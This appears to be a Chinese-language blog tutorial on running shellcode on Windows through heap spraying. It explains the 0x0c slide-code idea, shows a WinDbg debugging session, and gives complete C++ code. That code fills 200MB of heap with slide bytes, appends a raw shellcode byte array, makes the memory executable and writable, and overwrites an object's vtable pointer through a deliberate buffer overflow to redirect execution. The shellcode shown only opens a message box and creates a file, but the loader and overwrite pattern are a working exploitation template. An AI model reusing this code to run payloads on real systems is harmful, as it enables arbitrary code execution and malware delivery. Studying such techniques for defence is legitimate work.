windows:shellcode 远程线程hook/注入(五)

        前面几篇文章介绍了经过APC注入、进程注入、windows窗口处理函数回调、kernercallback回调执行shellcode,今天继续介绍经过heap Spray(翻译成中文叫堆喷射)执行shellcode的方法;html

        所谓堆喷射,本质上是在堆上分配空间,而后拷贝shellcode到这里执行,思路和以前分享的驱动隐藏(http://www.javashuo.com/article/p-sqkkmuvy-nd.html)方法相似。不同的地方在于:这里会申请大量空间(业界常见的是200M),填充0x0c(这就是所谓的slide code),而后在空间尾部拷贝shellcode;那么问题来了:ios

  •   为啥那么要申请200M这么大的空间?

   咱们的shellcode在该空间的尾部,从 “200M-shellcode开头”  这段充满0x0c代码的任意地方开始执行最终都能顺利“滑”shellcode执行,极大增长了shellcode被执行的几率。若是没有slide code,那么必须靳准控制eip挑战到shellcode 的入口,增长了难度;shell

  •   为啥用0x0c填充,而不是用其余代码填充?

       (1)0x0c的代码是or al,0ch; 不会影响咱们的shellcode;  (2)0x0c0c0c0c处的数据被填充成了0c0c0c0c(后面会详解);若是填充其余数据,会致使程序跳转到错误的地址,最终执行出错;windows

        接下来解读核心代码;ide

  一、申请堆内存,填充0x0c,以下spray0:函数

 

   就是在这里,由于spray+buflen远大于0x0c0c0c0c,经过memset把0x0c0c0c0c的内容也改为0x0c0c0c0c;spa

        新手注意:这些变量都是在函数内部生成的局部变量,自己在栈空间,函数一旦结束,空间会被释放;但spray例外,其指向堆空间,0x0c和shellcode都被复制到了堆空间,函数结束后仍然存在,除非手动释放,或则程序结束被操做系统回收;操作系统

        经过process hacker能查到0x0c成功写入栈空间:.net

 

shellcode也写入了:翻译

 

内存也改为可执行(这里有个坑,后面会详细解释)

 

   二、覆盖虚函数表

  (1)buflen和factoryObj都在栈空间,相距0x0c=12字节,因此MAGICCODE前面12字节是0,后面8字节才是覆盖factoryObj指针的内容;

  (2)另外一个坑:factory* factoryObj = new factory(); 单步调试这行代码时老是出错,windbg提示以下:

0:000:x86> p

(5a78.1780): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

ucrtbased!calloc_base+0xe5d:

7a90bfbd 894204          mov     dword ptr [edx+4],eax ds:002b:00f2f024=00000000

      从错误提示看,属于Access violation,常见的c0000005类型错误,读写了不应读写的内存(3环exe程序常常会弹出c0000005类型的错误);从具体出错的位置看,是mov     dword ptr [edx+4],eax这行代码形成的,具体涉及的内存地址是ds:002b:00f2f024,那么进一步看看这个地方都存了啥,以下:

       0:000:x86> dd 002b:00f2f024                                             

002b:00f2f024  00000000 00000000 00000000 00000001

002b:00f2f034  0c800000 00000047 fdfdfdfd 0c0c0c0c

002b:00f2f044  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f054  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f064  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f074  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f084  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

002b:00f2f094  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

       下面的全是0c,看着好眼熟,这不就是本身填充的slide code么? 这段内存不就是本身在spray0里面经过new char申请的么?当时为了执行这段代码,调用virtualProteced函数把内存属性改为了PAGE_EXECUTE, 可执行的问题是解决了,但还要覆盖factoryObj指针了(factoryObj是new出来的,其对象也会被分配在堆空间),一样须要读写权限,只给执行权限显然是不够的,同时也须要读写权限,因此在spray0里面就要这样改了:VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld),以下:

        

 

       继续:单步执行完memcpy后,factoryObj被成功改成0c0c0c0c:

    

      继续运行,成功执行shellcode:

       

       exe的目录下也生成了1.txt文件

     

  注意:上面的截图并非一次调试过程当中截取的,而是屡次,因此同一个变量的地址会不一样,但并不影响最终的效果展现;

       完整代码:

#include <iostream>

#include <windows.h>
#include <stdio.h>

#define MAGICCODE "000000000000\x0c\x0c\x0c\x0c"//bufLen和factoryObj之间间隔了0xc,因此这里有12个0,从第13位开始才覆盖factoryObj原值

class factory
{
    char m_buf[8] = {0};
public:
    factory() 
    {

    }

    virtual int factoryCreate1()
    {
        printf("%s\n", "factoryInit1");
        return 0;
    }
    virtual int factoryCreate2()
    {
        printf("%s\n", "factoryInit2");
        return 0;
    }
};

/*
*   溢出局部变量,并利用HeapSpray执行自定义的shellcode
*/

void spray1()
{
    factory* factoryObj = new factory();
    unsigned int bufLen = 0xffffffff;
    memcpy(&bufLen, MAGICCODE, sizeof(MAGICCODE) - 1);
    factoryObj->factoryCreate1();
    return;
}

/*
*   申请200M堆空间
*/

void spray0()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
    SIZE_T shellcodeSize = sizeof(buf);
    unsigned int bufLen = 200 * 1024 * 1024;
    DWORD dwOld = 0;
    char* spray = new char[bufLen];
    memset(spray, 0x0c, sizeof(char) * bufLen);
    //memset(spray + bufLen - 0x10, 0xcc, 0x10); //写入自定义的shellcode,即0xcc
    memcpy(spray + bufLen - shellcodeSize+1, buf, shellcodeSize); //写入自定义的shellcode,注意spray + bufLen - shellcodeSize+1地址对齐;
    //VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 设置堆内存可执行代码
    VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld); // 设置堆内存可执行代码
    return;
}


int main()
{
    spray0();
    spray1();
    return 0;
}

 

参考:

一、https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/getting-started-with-windbg  windbg用户模式调试3环的exe

二、https://blog.csdn.net/lixiangminghate/article/details/53413863 

三、https://blog.csdn.net/andy7002/article/details/72834644

相关文章
相关标签/搜索